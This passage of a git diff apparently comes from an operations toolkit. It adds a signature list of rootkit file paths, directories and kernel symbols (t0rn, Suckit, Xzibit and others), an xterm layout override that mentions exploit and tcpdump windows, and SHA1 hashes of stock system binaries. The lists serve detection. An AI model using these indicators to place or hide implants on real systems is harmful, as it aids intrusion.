+Files: /bin/frgy + /bin/sy + /sbin/frgy + /sbin/sy +Dirs: /usr/sbin/dir + /usr/sbin/in.slogind +Users: +Ksyms: + +[SHV4] +Files: /etc/ld.so.hash + /lib/libext-2.so.7 + /lib/lidps1.so + /lib/libproc.a + /lib/libproc.so.2.0.6 + /lib/ldd.so/tks + /lib/ldd.so/tkp + /lib/ldd.so/tksb + /lib/security/.config/sshd + /lib/security/.config/ssh/ssh_host_key + /lib/security/.config/ssh/ssh_host_key.pub + /lib/security/.config/ssh/ssh_random_seed + /usr/include/file.h + /usr/include/hosts.h + /usr/include/lidps1.so + /usr/include/log.h + /usr/include/proc.h + /usr/sbin/xntps + /dev/srd0 +Dirs: /lib/ldd.so + /lib/security/.config + /lib/security/.config/ssh +Users: +Ksyms: + +[SHV5] +Files: /etc/sh.conf + /lib/libproc.a + /lib/libproc.so.2.0.6 + /lib/lidps1.so + /lib/libsh.so/bash + /usr/include/file.h + /usr/include/hosts.h + /usr/include/log.h + /usr/include/proc.h + /lib/libsh.so/shdcf2 + /lib/libsh.so/shhk + /lib/libsh.so/shhk.pub + /lib/libsh.so/shrs + /usr/lib/libsh/.bashrc + /usr/lib/libsh/shsb + /usr/lib/libsh/hide + /usr/lib/libsh/.sniff/shsniff + /usr/lib/libsh/.sniff/shp + /dev/srd0 +Dirs: /lib/libsh.so + /usr/lib/libsh + /usr/lib/libsh/utilz + /usr/lib/libsh/.backup +Users: +Ksyms: + +[Sin] +Files: /dev/.haos/haos1/.f/Denyed + /dev/ttyoa + /dev/ttyof + /dev/ttyop + /dev/ttyos + /usr/lib/.lib + /usr/lib/sn/.X + /usr/lib/sn/.sys + /usr/lib/ld/.X + /usr/man/man1/... + /usr/man/man1/.../.m + /usr/man/man1/.../.w +Dirs: /usr/lib/sn + /usr/lib/man1/... + /dev/.haos +Users: +Ksyms: + +[Slapper] +Files: /tmp/.bugtraq + /tmp/.uubugtraq + /tmp/.bugtraq.c + /tmp/httpd + /tmp/.unlock + /tmp/update + /tmp/.cinik + /tmp/.b +Dirs: +Users: +Ksyms: + +[Sneakin] +Files: +Dirs: /tmp/.X11-unix/.../rk +Users: +Ksyms: + +[TC2] +Files: /usr/bin/util + /usr/info + /usr/sbin/initcheck + /usr/sbin/ldb +Dirs: +Users: +Ksyms: + +[TRK] +Files: /usr/bin/sourcemask + /usr/bin/ct +Dirs: +Users: +Ksyms: + +[Wanuk backdoor] +Files: /var/adm/sa/.adm/.lp-door.i86pc + /var/adm/sa/.adm/.lp-door.sun4 + /var/spool/lp/admins/.lp-door.i86pc + /var/spool/lp/admins/.lp-door.sun4 + /var/spool/lp/admins/lpshut + /var/spool/lp/admins/lpsystem + /var/spool/lp/admins/lpadmin + /var/spool/lp/admins/lpmove + /var/spool/lp/admins/lpusers + /var/spool/lp/admins/lpfilter + /var/spool/lp/admins/lpstat + /var/spool/lp/admins/lpd + /var/spool/lp/admins/lpsched + /var/spool/lp/admins/lpc +Dirs: /var/adm/sa/.adm +Users: +Ksyms: + +[Wanuk Solaris] +Files: /var/adm/.adm + /var/adm/.i86pc + /var/adm/.sun4 + /var/adm/sa/.adm + /var/adm/sa/.adm/.i86pc + /var/adm/sa/.adm/.sun4 + /var/adm/sa/.adm/.crontab + /var/adm/sa/.adm/devfsadmd + /var/adm/sa/.adm/svcadm + /var/adm/sa/.adm/cfgadm + /var/adm/sa/.adm/kadmind + /var/adm/sa/.adm/zoneadmd + /var/adm/sa/.adm/sadm + /var/adm/sa/.adm/sysadm + /var/adm/sa/.adm/dladm + /var/adm/sa/.adm/bootadm + /var/adm/sa/.adm/routeadm + /var/adm/sa/.adm/uadmin + /var/adm/sa/.adm/acctadm + /var/adm/sa/.adm/cryptoadm + /var/adm/sa/.adm/inetadm + /var/adm/sa/.adm/logadm + /var/adm/sa/.adm/nlsadmin + /var/adm/sa/.adm/sacadm + /var/adm/sa/.adm/syseventadmd + /var/adm/sa/.adm/ttyadmd + /var/adm/sa/.adm/consadmd + /var/adm/sa/.adm/metadevadm + /var/adm/sa/.i86pc + /var/adm/sa/.sun4 + /var/adm/sa/acctadm + /var/adm/sa/bootadm + /var/adm/sa/cfgadm + /var/adm/sa/consadmd + /var/adm/sa/cryptoadm + /var/adm/sa/devfsadmd + /var/adm/sa/dladm + /var/adm/sa/inetadm + /var/adm/sa/kadmind + /var/adm/sa/logadm + /var/adm/sa/metadevadm + /var/adm/sa/nlsadmin + /var/adm/sa/routeadm + /var/adm/sa/sacadm + /var/adm/sa/sadm + /var/adm/sa/svcadm + /var/adm/sa/sysadm + /var/adm/sa/syseventadmd + /var/adm/sa/ttyadmd + /var/adm/sa/uadmin + /var/adm/sa/zoneadmd + /var/spool/lp/admins/.lp/.crontab + /var/spool/lp/admins/.lp/lpshut + /var/spool/lp/admins/.lp/lpsystem + /var/spool/lp/admins/.lp/lpadmin + /var/spool/lp/admins/.lp/lpmove + /var/spool/lp/admins/.lp/lpusers + /var/spool/lp/admins/.lp/lpfilter + /var/spool/lp/admins/.lp/lpstat + /var/spool/lp/admins/.lp/lpd + /var/spool/lp/admins/.lp/lpsched + /var/spool/lp/admins/.lp/lpc +Dirs: /var/adm/sa/.adm + /var/spool/lp/admins/.lp +Users: +Ksyms: + +[Spanish] +Files: /dev/ptyq + /bin/ad + /bin/ava + /bin/server + /usr/sbin/rescue + /usr/share/.../chrps + /usr/share/.../chrifconfig + /usr/share/.../netstat + /usr/share/.../linsniffer + /usr/share/.../charbd + /usr/share/.../charbd2 + /usr/share/.../charbd3 + /usr/share/.../charbd4 + /usr/man/tmp/update.tgz + /var/lib/rpm/db.rpm + /var/cache/man/.cat + /var/spool/lpd/remote/.lpq +Dirs: /usr/share/... +Users: +Ksyms: + +[Suckit] +Files: /sbin/initsk12 + /sbin/initxrk + /usr/bin/null + /usr/share/locale/sk/.sk12/sk + /etc/rc.d/rc0.d/S23kmdac + /etc/rc.d/rc1.d/S23kmdac + /etc/rc.d/rc2.d/S23kmdac + /etc/rc.d/rc3.d/S23kmdac + /etc/rc.d/rc4.d/S23kmdac + /etc/rc.d/rc5.d/S23kmdac + /etc/rc.d/rc6.d/S23kmdac +Dirs: /dev/sdhu0/tehdrakg + /etc/.MG + /usr/share/locale/sk/.sk12 + /usr/lib/perl5/site_perl/i386-linux/auto/TimeDate/.packlist +Users: +Ksyms: + +[SunOS / NSDAP] +Files: /dev/pts/01/55su + /dev/pts/01/55ps + /dev/pts/01/55ping + /dev/pts/01/55login + /dev/pts/01/PATCHER_COMPLETED + /dev/prom/sn.l + /dev/prom/dos + /usr/lib/vold/nsdap/.kit + /usr/lib/vold/nsdap/defines + /usr/lib/vold/nsdap/patcher + /usr/lib/vold/nsdap/pg + /usr/lib/vold/nsdap/cleaner + /usr/lib/vold/nsdap/utime + /usr/lib/vold/nsdap/crypt + /usr/lib/vold/nsdap/findkit + /usr/lib/vold/nsdap/sn2 + /usr/lib/vold/nsdap/sniffload + /usr/lib/vold/nsdap/runsniff + /usr/lib/lpset + /usr/lib/lpstart + /usr/bin/mc68000 + /usr/bin/mc68010 + /usr/bin/mc68020 + /usr/ucb/bin/ps + /usr/bin/m68k + /usr/bin/sun2 + /usr/bin/mc68030 + /usr/bin/mc68040 + /usr/bin/sun3 + /usr/bin/sun3x + /usr/bin/lso + /usr/bin/u370 +Dirs: /dev/pts/01 + /dev/prom + /usr/lib/vold/nsdap + /.pat +Users: +Ksyms: + +[SunOS Rootkit] +Files: /etc/ld.so.hash + /lib/libext-2.so.7 + /usr/bin/ssh2d + /bin/xlogin + /usr/lib/crth.o + /usr/lib/crtz.o + /sbin/login + /lib/security/.config/sn + /lib/security/.config/lpsched + /dev/kmod + /dev/dos +Dirs: +Users: +Ksyms: + +[Superkit] +Files: /usr/man/.sman/sk/backsh + /usr/man/.sman/sk/izbtrag + /usr/man/.sman/sk/sksniff + /var/www/cgi-bin/cgiback.cgi +Dirs: /usr/man/.sman/sk +Users: +Ksyms: + +[Telnet] +Files: /usr/lib/.tbd +Dirs: +Users: +Ksyms: + +[TeLeKiT] +Files: /usr/man/man3/.../TeLeKiT/bin/sniff + /usr/man/man3/.../TeLeKiT/bin/telnetd + /usr/man/man3/.../TeLeKiT/bin/teleulo + /usr/man/man3/.../cl + /dev/ptyr + /dev/ptyp + /dev/ptyq + /dev/hda06 + /usr/info/libc1.so +Dirs: /usr/man/man3/... + /usr/man/man3/.../lsniff + /usr/man/man3/.../TeLeKiT +Users: +Ksyms: + +[OSX Togroot] +Files: /System/Library/Extensions/Togroot.kext/Contents/Info.plist + /System/Library/Extensions/Togroot.kext/Contents/pbdevelopment.plist + /System/Library/Extensions/Togroot.kext/Contents/MacOS/togrootkext +Dirs: /System/Library/Extensions/Togroot.kext + /System/Library/Extensions/Togroot.kext/Contents + /System/Library/Extensions/Togroot.kext/Contents/MacOS +Users: +Ksyms: + +[t0rn] +Files: /dev/.lib/lib/lib/t0rns + /dev/.lib/lib/lib/du + /dev/.lib/lib/lib/ls + /dev/.lib/lib/lib/t0rnsb + /dev/.lib/lib/lib/ps + /dev/.lib/lib/lib/t0rnp + /dev/.lib/lib/lib/find + /dev/.lib/lib/lib/ifconfig + /dev/.lib/lib/lib/pg + /dev/.lib/lib/lib/ssh.tgz + /dev/.lib/lib/lib/top + /dev/.lib/lib/lib/sz + /dev/.lib/lib/lib/login + /dev/.lib/lib/lib/in.fingerd + /dev/.lib/lib/lib/1i0n.sh + /dev/.lib/lib/lib/pstree + /dev/.lib/lib/lib/in.telnetd + /dev/.lib/lib/lib/mjy + /dev/.lib/lib/lib/sush + /dev/.lib/lib/lib/tfn + /dev/.lib/lib/lib/name + /dev/.lib/lib/lib/getip.sh + /usr/info/.torn/sh* + /usr/src/.puta/.1addr + /usr/src/.puta/.1file + /usr/src/.puta/.1proc + /usr/src/.puta/.1logz + /usr/info/.t0rn + /usr/info/ttyhash + /usr/info/xlogin + /usr/info/ldlib.tk +Dirs: /dev/.lib + /dev/.lib/lib + /dev/.lib/lib/lib + /dev/.lib/lib/lib/dev + /dev/.lib/lib/scan + /usr/src/.puta + /usr/man/man1/man1 + /usr/man/man1/man1/lib + /usr/man/man1/man1/lib/.lib + /usr/man/man1/man1/lib/.lib/.backup +Users: +Ksyms: + +[trNkit] +Files: /usr/lib/libbins.la + /usr/lib/libtcs.so + /dev/.ttpy/ulogin.sh + /dev/.ttpy/tcpshell.sh + /dev/.ttpy/bupdu + /dev/.ttpy/buloc + /dev/.ttpy/buloc1 + /dev/.ttpy/buloc2 + /dev/.ttpy/stat + /dev/.ttpy/backps + /dev/.ttpy/tree + /dev/.ttpy/topk + /dev/.ttpy/wold + /dev/.ttpy/whoold + /dev/.ttpy/backdoors +Dirs: +Users: +Ksyms: + +[Trojanit] +Files: /bin/.ls + /bin/.ps + /bin/.netstat + /usr/bin/.nop + /usr/bin/.who +Dirs: +Users: +Ksyms: + +[Turtle/Turtle2] +Files: /dev/turtle2dev +Dirs: +Users: +Ksyms: + +[Tuxtendo] +Files: /lib/libproc.so.2.0.7 + /usr/bin/xchk + /usr/bin/xsf + /dev/tux/suidsh + /dev/tux/.addr + /dev/tux/.cron + /dev/tux/.file + /dev/tux/.log + /dev/tux/.proc + /dev/tux/.iface + /dev/tux/.pw + /dev/tux/.df + /dev/tux/.ssh + /dev/tux/.tux + /dev/tux/ssh2/sshd2_config + /dev/tux/ssh2/hostkey + /dev/tux/ssh2/hostkey.pub + /dev/tux/ssh2/logo + /dev/tux/ssh2/random_seed + /dev/tux/backup/crontab + /dev/tux/backup/df + /dev/tux/backup/dir + /dev/tux/backup/find + /dev/tux/backup/ifconfig + /dev/tux/backup/locate + /dev/tux/backup/netstat + /dev/tux/backup/ps + /dev/tux/backup/pstree + /dev/tux/backup/syslogd + /dev/tux/backup/tcpd + /dev/tux/backup/top + /dev/tux/backup/updatedb + /dev/tux/backup/vdir +Dirs: /dev/tux + /dev/tux/ssh2 + /dev/tux/backup +Users: +Ksyms: + +[Universal Rootkit by K2] +Files: /dev/prom/sn.l + /usr/lib/ldlibps.so + /usr/lib/ldlibnet.so + /dev/pts/01/uconf.inv + /dev/pts/01/cleaner + /dev/pts/01/bin/psniff + /dev/pts/01/bin/du + /dev/pts/01/bin/ls + /dev/pts/01/bin/passwd + /dev/pts/01/bin/ps + /dev/pts/01/bin/psr + /dev/pts/01/bin/su + /dev/pts/01/bin/find + /dev/pts/01/bin/netstat + /dev/pts/01/bin/ping + /dev/pts/01/bin/strings + /dev/pts/01/bin/bash + /usr/man/man1/xxxxxxbin/du + /usr/man/man1/xxxxxxbin/ls + /usr/man/man1/xxxxxxbin/passwd + /usr/man/man1/xxxxxxbin/ps + /usr/man/man1/xxxxxxbin/psr + /usr/man/man1/xxxxxxbin/su + /usr/man/man1/xxxxxxbin/find + /usr/man/man1/xxxxxxbin/netstat + /usr/man/man1/xxxxxxbin/ping + /usr/man/man1/xxxxxxbin/strings + /usr/man/man1/xxxxxxbin/bash + /tmp/conf.inv +Dirs: /dev/prom + /dev/pts/01 + /dev/pts/01/bin + /usr/man/man1/xxxxxxbin +Users: +Ksyms: + +[VcKit] +Files: +Dirs: /usr/include/linux/modules/lib.so + /usr/include/linux/modules/lib.so/bin +Users: +Ksyms: + +[Vampire] +Files: +Dirs: +Users: +Ksyms: new_getdents + old_getdents + should_hide_file_name + should_hide_task_name + +[Volc] +Files: /usr/bin/volc + /usr/lib/volc/backdoor/divine + /usr/lib/volc/linsniff + /etc/rc.d/rc1.d/S25sysconf + /etc/rc.d/rc2.d/S25sysconf + /etc/rc.d/rc3.d/S25sysconf + /etc/rc.d/rc4.d/S25sysconf + /etc/rc.d/rc5.d/S25sysconf +Dirs: /var/spool/.recent + /var/spool/.recent/.files + /usr/lib/volc + /usr/lib/volc/backup +Users: +Ksyms: + +[weaponX] +Files: /System/Library/Extensions/WeaponX.kext +Dirs: /tmp/... +Users: +Ksyms: + +[Xzibit] +Files: /dev/dsx + /dev/caca + /dev/ida/.inet/linsniffer + /dev/ida/.inet/logclear + /dev/ida/.inet/sense + /dev/ida/.inet/sl2 + /dev/ida/.inet/sshdu + /dev/ida/.inet/s + /dev/ida/.inet/ssh_host_key + /dev/ida/.inet/ssh_random_seed + /dev/ida/.inet/sl2new.c + /dev/ida/.inet/tcp.log + /home/httpd/cgi-bin/becys.cgi + /usr/local/httpd/cgi-bin/becys.cgi + /usr/local/apache/cgi-bin/becys.cgi + /www/httpd/cgi-bin/becys.cgi + /www/cgi-bin/becys.cgi +Dirs: /dev/ida/.inet +Users: +Ksyms: + +[X-Org SunOS] +Files: /usr/lib/libX.a/bin/tmpfl + /usr/lib/libX.a/bin/rps + /usr/bin/srload + /usr/lib/libX.a/bin/sparcv7/rps + /usr/sbin/modcheck +Dirs: /usr/lib/libX.a + /usr/lib/libX.a/bin + /usr/lib/libX.a/bin/sparcv7 + /usr/share/man... +Users: +Ksyms: + +[zaRwT.KiT] +Files: /dev/rd/s/sendmeil + /dev/ttyf + /dev/ttyp + /dev/ttyn + /rk/tulz + /bin/imin + /bin/imout +Dirs: /rk + /dev/rd/s +Users: +Ksyms: + +[ZK Rootkit] +Files: /usr/share/.zk/zk + /usr/X11R6/.zk/xfs + /usr/X11R6/.zk/echo + /etc/1ssue.net + /etc/sysconfig/console/load.zk +Dirs: /usr/share/.zk + /usr/X11R6/.zk +Users: +Ksyms: + + diff --git a/Linux/etc/scripme.override.example b/Linux/etc/scripme.override.example new file mode 100644 index 0000000..2611538 --- /dev/null +++ b/Linux/etc/scripme.override.example @@ -0,0 +1,85 @@ +# +# $Id: scripme.override.example,v 1.5 2005/06/07 20:39:49 ident Exp $ +# +# This is a sample /current/etc/scripme.override file. If a file by that +# name exists when scrubhands unpacks the op, it will be used instead +# of the defaults to determine the number and characteristics of the +# scripted xterms started by scrubhands (actually, started by scripme, +# which is called by scrubhands). The following must be valid perl +# executables that define the hash array %xtermargs. +# (NOTE: "perl -c filename" will confirm the validity of perl syntax.) +# +# sybil looks for a scripme.override to put in your op's ./etc directory +# in the following locations, putting the first match it finds into +# ./etc/scripme.override: +# +# ~/OPS/userOverrides/scripme.override.projectname +# ~/OPS/userOverrides/scripme.override +# ~/OPS/scripme.override +# +# This allows you to have a generic ~/OPS/userOverrides/scripme.override +# or ~/OPS/scripme.override file for some of your sybil builds, but +# a project specific ~/OPS/userOverrides/scripme.override.projectname +# file for others. +# +# The return value at the end is required. +# +# See the xterm man page for lots more options. +# +# $defxargs : scripme will use these default xterm arguments any time +# it pops up an xterm (whether for an exploit or a scripted window). +# Uncomment and modify if you want to override these defaults. E.g., +# if you wanted to reverse the background and foreground colors, +# change the fg to a bg and vice versa. +# +#$defxargs="-display :0 -fn 7x13 +cm +cn -sk -sb -sl 15000 -bg gray80 -fg black" ; + +# %xtermargs : In the xtermargs array, the "1", "2", etc., are the +# 1st, 2nd, etc., scripted xterm that scrubhands/scripme will start +# up automatically for you. If you don't have an override file, the +# entries shown here will be what is used. I.e., scrubhands will +# automatically start up four scripted xterms and a scripted +# TCPDUMP window with the geometries shown. +# +%xtermargs = +(1," -geometry 80x24+0+0", + 2," -geometry 180x17+0+342", + 3," -geometry 123x44+510+0", + 4," -geometry 207x26+0-55", + "TCPDUMP","-display :0 -geometry 200x8-48-0", + "OPSCRIPT","-display :0 -geometry 114x52+1280+0", + "UNSCRIPTED1"," -geometry 150x33-0+0", + "UNSCRIPTED2"," -geometry 71x25-2+345", +); + +# To customize your window locations and sizes, set up windows how you +# would like them, and then use xwininfo to determine their current +# geometry (see man xwininfo or just follow its prompt). The final +# "-geometry" line is the one you want between the double quotes here +# for that window. +# +# Below is a (commented) example, with the differences explained. +# Note first that this one only starts 4 scripted windows. +# Either change the above xtermargs entry to your liking or uncomment +# (remove only the initial # sign) the one below and change it, and +# then save this as your ~/OPS/scripme.override file. +# +#%xtermargs = (1,"", # use default xterm args on system for 1st window +# 2,"-bg black -fg white", # change colors on the 2nd window and use default geometry +# 3,"-geometry 102x40-0+0", # a tall wide window in the upper right for the 3rd +# 4,"-geometry 102x40-0-0", # a tall wide window in the lower right for the 4th +# # The TCPDUMP pair of lines below is required +# "TCPDUMP", +# "-geometry 200x14-0-165 -title 'TCPDUMP WINDOW' -name 'SCRIPTED TCPDUMP WINDOW'" +#); + +# Following is equivalent to the above. Use whatever syntax you prefer. + +#$xtermargs{1} = "" ; +#$xtermargs{2} = "-bg black -fg white" ; +#$xtermargs{3} = "-geometry 102x40-0+0" ; +#$xtermargs{4} = "-geometry 102x40-0-0" ; +#$xtermargs{TCPDUMP} = "-geometry 200x14-0-165 -title 'TCPDUMP WINDOW' -name 'SCRIPTED TCPDUMP WINDOW'" ; + + +return 1; diff --git a/Linux/etc/sha1sums b/Linux/etc/sha1sums new file mode 100644 index 0000000..f912c3c --- /dev/null +++ b/Linux/etc/sha1sums @@ -0,0 +1,4258 @@ +1589028FB693DB7238AB6F1A8F378EC7AB4CD7BF Thu Nov 3 08:10:07 2005 /bin/ls [FreeBSD 6.0] +784656264792F969AA0D851210E3EC5F05E6C345 Thu Nov 3 08:10:07 2005 /bin/ps [FreeBSD 6.0] +B380A27C131956D22A08BFB2EBE3EB8D92611869 Thu Nov 3 08:10:08 2005 /bin/sh [FreeBSD 6.0] +B22A633D4AC583C87FF8287F73DB6A24D0A2D8AD Thu Nov 3 08:10:08 2005 /bin/rm [FreeBSD 6.0] +D0100BEEE99676DC8D67F952F821AA98ABFA69F6 Thu Nov 3 08:11:31 2005 /usr/bin/su [FreeBSD 6.0] +CC6A7BD23BA9B653A053F4F4E25852FD4297AF16 Thu Nov 3 08:11:23 2005 /usr/bin/login [FreeBSD 6.0] +59EF58B274090371F1B921D8C5682E945BC2BB39 Thu Nov 3 08:11:27 2005 /usr/bin/netstat [FreeBSD 6.0] +13534AAE38F5A5358310348DF408AB0B2C679F8E Thu Nov 3 08:11:38 2005 /usr/sbin/arp [FreeBSD 6.0] +7B94BE2AF4D607CE3407716A456922D83F572000 Thu Nov 3 08:11:20 2005 /usr/bin/find [FreeBSD 6.0] +C850D6185AA66813389BEEACFE5C96E894969BFE Thu Nov 3 08:11:46 2005 /usr/sbin/inetd [FreeBSD 6.0] +6584F7BC02B0E65784E1A50102C01AF93B9A2339 Thu Nov 3 08:11:32 2005 /usr/bin/telnet [FreeBSD 6.0] +C58D339491E7FFA9E6C1ED8D5111DBB56EBCB95F Thu Nov 3 08:11:34 2005 /usr/bin/w [FreeBSD 6.0] + +A9F28F21FE28BA703284636DAC579F465276491F Mon Oct 27 15:24:16 2003 /bin/ps [FreeBSD 4.9] +798604D5181561FA4AEDF5BFC5102A2C2CDFE42A Mon Oct 27 15:24:15 2003 /bin/ls [FreeBSD 4.9] +A2352C6325A2978DF5DDB37C558F36E800DA606C Mon Oct 27 15:24:17 2003 /bin/sh [FreeBSD 4.9] +3440A8F4726475664B28466853205F00F600389D Mon Oct 27 15:24:16 2003 /bin/rm [FreeBSD 4.9] +68401B067C1BCF98A3228C30FCD334CB85B3D588 Mon Oct 27 15:26:22 2003 /usr/bin/netstat [FreeBSD 4.9] +ED926C2B8F00FFDC8B02C4F7A3E3E9517FD1FD36 Mon Oct 27 15:26:34 2003 /usr/sbin/arp [FreeBSD 4.9] +83F11F226AC4F50E0EBE25883095B8A79FAF5E2D Mon Oct 27 15:26:17 2003 /usr/bin/find [FreeBSD 4.9] +AE8641AFA55C63212B0E0EA1B4C5C5983941CA81 Mon Oct 27 15:26:37 2003 /usr/sbin/inetd [FreeBSD 4.9] +AAD71A06CBCE192F295BD753A8EBDC3D5FD49661 Mon Oct 27 15:26:30 2003 /usr/bin/w [FreeBSD 4.9] +DE16398F50BE910DE5309611B12722A9409CB72D Mon Oct 27 15:31:32 2003 /usr/bin/su [FreeBSD 4.9] +220A5320B3F40FE02ABDCF14770FF3184C9C21C5 Mon Oct 27 15:31:32 2003 /usr/bin/login [FreeBSD 4.9] +3D87D50342C3091356B737468452D6AA98EF4AE1 Mon Oct 27 15:36:35 2003 /usr/bin/telnet [FreeBSD 4.9] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.2] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.2] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.2] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.2] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.2] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.2] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.2] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.2] +41E2DAB52D859E3E00E8E98F303550A2ECB75A96 Fri May 4 11:37:13 2007 /usr/sbin/pure-ftpd [SuSE Enterprise 10.2] +61D0B9736356EB25EC5B8428C0144184CDC318E1 Thu Sep 13 15:56:32 2007 /sbin/modinfo [SuSE Enterprise 10.2] +FFF63759CEB20DAC9F683685F2D967742763D133 Mon Apr 21 23:33:20 2008 /usr/bin/w [SuSE Enterprise 10.2] +C58869F7EC2AA7C29F65DB480AA7F86D6DB89604 Mon Apr 21 23:33:19 2008 /bin/ps [SuSE Enterprise 10.2] +1CC192B9CB5681B5D71A54A9C7B261CBE1C0103D Mon Apr 21 23:36:46 2008 /sbin/arp [SuSE Enterprise 10.2] +94CFC379A717AF84EC1E45ACE7393C4D3AE48F6F Mon Apr 21 23:36:46 2008 /bin/netstat [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.2] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.2] +365EC4AFA8179AEEED34317D436565F9D25FAE26 Fri May 4 11:37:13 2007 /usr/sbin/rcpure-ftpd [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /usr/bin/sh [SuSE Enterprise 10.2] + +4EEA9A32B1B9F1A3B37FD8934E5E2D02E1C7CB39 Tue Jul 29 16:07:23 2003 /usr/bin/telnet [Fedora 1] +6B8CF3FAC846612A50271504AC7C63E65D8748A4 Mon Aug 25 15:15:29 2003 /sbin/arp [Fedora 1] +5D89F50A8135412F4C104C77975FAD2984B71DC4 Mon Aug 25 15:15:29 2003 /bin/netstat [Fedora 1] +A503B76940948CDEB2DBBF21FE397A786765FBF2 Thu Sep 11 12:19:54 2003 /bin/login [Fedora 1] +2818A6B7F8AA7CADFD9BE509A20B19234508E575 Fri Oct 3 11:18:41 2003 /usr/bin/w [Fedora 1] +A1EBEA612EC9F38CB4101FC60FA114F225E97982 Fri Oct 3 11:18:41 2003 /bin/ps [Fedora 1] +366F98F0AD21ADEAF6EE4E5FB45FCD7356C85442 Tue Oct 7 19:43:45 2003 /sbin/modinfo [Fedora 1] +F26AC09B31E791EFCDF9C175730457C04C59D302 Sun Oct 12 07:41:50 2003 /usr/sbin/xinetd [Fedora 1] +08947552A4CED6BF8D0B96A4894AE4B90B79EC6B Sun Oct 12 08:50:30 2003 /bin/su [Fedora 1] +C9C754110A559B622F04825CD279E2001F686733 Sun Oct 12 08:50:59 2003 /bin/rm [Fedora 1] +5BD907DFA76BE2D014BA1D289C9237194A5115E6 Sun Oct 12 08:50:59 2003 /bin/ls [Fedora 1] +51EF9D20E6C6C562376CC34B9B0471D353697A65 Sat Oct 25 12:36:43 2003 /usr/bin/find [Fedora 1] +9D19EE6F126348C7DD8E484065456FD5888D8486 Tue Oct 28 14:15:09 2003 /bin/sh [Fedora 1] + +7CC68B0A175435308D1D521764A085CC55D7A8F0 Sun Jul 24 09:57:53 2005 /sbin/arp [Mandriva 2006] +8D335A2B1DB616DB10C65728C31A249EF7C16F65 Sun Jul 24 09:57:53 2005 /bin/netstat [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /bin/find [Mandriva 2006] +B05FD971450FC31A7DBBAD70313508D0B8AEB42F Wed Aug 17 14:00:55 2005 /usr/bin/telnet [Mandriva 2006] +434E866022F8F08D079C9D9BB7733A06537E66F6 Thu Aug 18 20:52:17 2005 /bin/su [Mandriva 2006] +D83311206D90D5D549C6B6C87DB9CB891C64886A Thu Aug 18 20:52:16 2005 /bin/rm [Mandriva 2006] +8A9F28FFAECE4FF4BE682FAEBF1A27ED8A8B1B79 Thu Aug 18 20:52:16 2005 /bin/ls [Mandriva 2006] +984CEDD8397362695AAE450EA368BF9E1C1A8656 Tue Sep 13 14:20:53 2005 /usr/bin/login [Mandriva 2006] +E4C1782F0D4F459E06A30708CE9FA03AE0CBE82F Sat Sep 17 13:01:44 2005 /usr/bin/w [Mandriva 2006] +3DFF61BC3295DA77704103D1E2CEC77DFADD5DFF Sat Sep 17 13:01:44 2005 /bin/ps [Mandriva 2006] +65799793F85AC8018E5F3761DBDD856A45D52593 Tue Sep 20 18:14:51 2005 /bin/login [Mandriva 2006] +A80309D21436AF7627DBBD5D0C83F1AF17C9FC14 Sun Jun 12 23:02:25 2005 /bin/sh [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /usr/bin/find [Mandriva 2006] +B7EC65AEE34328E90913C082A9519880817B9CB6 Sun Aug 14 09:41:19 2005 /sbin/modinfo [Mandriva 2006] + +88EBCCB2E3A5BB4CE826FF4550628E06691C7551 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.3] +49425F4AC92DF3EC0EC51D4B3B5C80FF6C1C2488 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.3] +301A9F6208878451A7000E24119FB7B853DEF397 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.3] +88A633CAE8DD395B09D7551955B9DD4C26400A98 Mon Jul 7 08:33:05 2008 /usr/bin/find [RedHat Enterprise 5.3] +AFF555D27711C993654499AE6ED7C542BE95BDAA Thu Oct 30 19:17:08 2008 /bin/su [RedHat Enterprise 5.3] +E9652F4F87FE3001C730C063019206F9107E99DE Thu Oct 30 19:17:16 2008 /bin/rm [RedHat Enterprise 5.3] +AA62F048D92290590104A6D5B95E56BF49E2D8E6 Thu Oct 30 19:17:16 2008 /bin/ls [RedHat Enterprise 5.3] +807A5AB5F7FCE4A1508B01A60BBDEB76A5B7FE09 Tue Nov 11 17:23:57 2008 /sbin/modinfo [RedHat Enterprise 5.3] +3ACED0527F098F66DB96B14F86F26EFFCD737F05 Tue Nov 25 23:15:24 2008 /bin/login [RedHat Enterprise 5.3] +90AEBCA764BD1F4547712CB855A7D4D849B43CF3 Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.3] +77B4C03DDB47841B387236CC4E701397E098CB34 Wed Dec 3 10:32:54 2008 /bin/ps 